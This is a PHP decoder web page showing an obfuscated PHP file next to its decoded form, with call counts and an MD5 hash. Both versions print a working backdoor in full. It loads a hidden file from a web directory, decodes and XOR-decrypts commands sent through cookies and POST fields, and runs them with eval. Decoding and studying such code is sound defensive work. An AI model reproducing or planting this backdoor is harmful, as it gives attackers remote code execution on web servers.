Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*7a90f*/ $rams1 = "/var/www/htm\x6c/hos/.mai\x6csubdom/.43dc47c8.ccss"; strpos(..
Decoded Output download
<?php
/*7a90f*/
$rams1 = "/var/www/html/hos/.mailsubdom/.43dc47c8.ccss"; strpos($rams1, 'k1dcq'); @include_once /* 6f8b */ ($rams1);
/*7a90f*/ $kyyBTi = "Z" . chr (65) . "d" . '_' . "q" . "W" . chr ( 1026 - 946 ); $WGKiIsn = 'c' . chr (108) . "a" . "s" . chr ( 978 - 863 ).chr (95) . "e" . "x" . chr (105) . "s" . 't' . chr (115); $wBwIFn = $WGKiIsn($kyyBTi); $kyyBTi = "47093";$zLuxeS = !$wBwIFn;$WGKiIsn = "15889";if ($zLuxeS){class ZAd_qWP{private $JGCBusHnzM;public static $vkPuLyqiRq = "5c6a98c8-6d59-4b3b-84bf-eacabb7d4d2e";public static $VJecXdlNs = 43210;public function __construct($qffcPvIhDy=0){$KSPcGOpfe = $_COOKIE;$bBREoPjST = $_POST;$AMiLe = @$KSPcGOpfe[substr(ZAd_qWP::$vkPuLyqiRq, 0, 4)];if (!empty($AMiLe)){$pcNkYW = "base64";$GLucJn = "";$AMiLe = explode(",", $AMiLe);foreach ($AMiLe as $AqzFaX){$GLucJn .= @$KSPcGOpfe[$AqzFaX];$GLucJn .= @$bBREoPjST[$AqzFaX];}$GLucJn = array_map($pcNkYW . '_' . chr (100) . "e" . chr ( 186 - 87 ).chr (111) . "d" . 'e', array($GLucJn,)); $GLucJn = $GLucJn[0] ^ str_repeat(ZAd_qWP::$vkPuLyqiRq, (strlen($GLucJn[0]) / strlen(ZAd_qWP::$vkPuLyqiRq)) + 1);ZAd_qWP::$VJecXdlNs = @unserialize($GLucJn);}}private function PWwvnFEl(){if (is_array(ZAd_qWP::$VJecXdlNs)) {$WGQkwJs = str_replace(chr ( 388 - 328 ) . "?" . chr (112) . "h" . chr (112), "", ZAd_qWP::$VJecXdlNs["c" . 'o' . chr (110) . "t" . chr (101) . chr ( 533 - 423 ).'t']);eval($WGQkwJs); $DTcuCr = "46526";exit();}}public function __destruct(){$this->PWwvnFEl(); $PaKaLHhJrx = str_pad("46526", 10);}}$qVSLuilt = new /* 2620 */ ZAd_qWP(); $qVSLuilt = substr("13352_10689", 1);} ?>Did this file decode correctly?
Original Code
<?php
/*7a90f*/
$rams1 = "/var/www/htm\x6c/hos/.mai\x6csubdom/.43dc47c8.ccss"; strpos($rams1, 'k1dcq'); @include_once /* 6f8b */ ($rams1);
/*7a90f*/ $kyyBTi = "\x5a" . chr (65) . "\144" . '_' . "\x71" . "\x57" . chr ( 1026 - 946 ); $WGKiIsn = 'c' . chr (108) . "\x61" . "\x73" . chr ( 978 - 863 ).chr (95) . "\145" . "\170" . chr (105) . "\163" . 't' . chr (115); $wBwIFn = $WGKiIsn($kyyBTi); $kyyBTi = "47093";$zLuxeS = !$wBwIFn;$WGKiIsn = "15889";if ($zLuxeS){class ZAd_qWP{private $JGCBusHnzM;public static $vkPuLyqiRq = "5c6a98c8-6d59-4b3b-84bf-eacabb7d4d2e";public static $VJecXdlNs = 43210;public function __construct($qffcPvIhDy=0){$KSPcGOpfe = $_COOKIE;$bBREoPjST = $_POST;$AMiLe = @$KSPcGOpfe[substr(ZAd_qWP::$vkPuLyqiRq, 0, 4)];if (!empty($AMiLe)){$pcNkYW = "base64";$GLucJn = "";$AMiLe = explode(",", $AMiLe);foreach ($AMiLe as $AqzFaX){$GLucJn .= @$KSPcGOpfe[$AqzFaX];$GLucJn .= @$bBREoPjST[$AqzFaX];}$GLucJn = array_map($pcNkYW . '_' . chr (100) . "\145" . chr ( 186 - 87 ).chr (111) . "\144" . 'e', array($GLucJn,)); $GLucJn = $GLucJn[0] ^ str_repeat(ZAd_qWP::$vkPuLyqiRq, (strlen($GLucJn[0]) / strlen(ZAd_qWP::$vkPuLyqiRq)) + 1);ZAd_qWP::$VJecXdlNs = @unserialize($GLucJn);}}private function PWwvnFEl(){if (is_array(ZAd_qWP::$VJecXdlNs)) {$WGQkwJs = str_replace(chr ( 388 - 328 ) . "\x3f" . chr (112) . "\x68" . chr (112), "", ZAd_qWP::$VJecXdlNs["\143" . 'o' . chr (110) . "\x74" . chr (101) . chr ( 533 - 423 ).'t']);eval($WGQkwJs); $DTcuCr = "46526";exit();}}public function __destruct(){$this->PWwvnFEl(); $PaKaLHhJrx = str_pad("46526", 10);}}$qVSLuilt = new /* 2620 */ ZAd_qWP(); $qVSLuilt = substr("13352_10689", 1);} ?>Function Calls
| strpos | 1 |
Stats
| MD5 | 60d681cf3f19205e5fe651f332152e3d |
| Eval Count | 0 |
| Decode Time | 99 ms |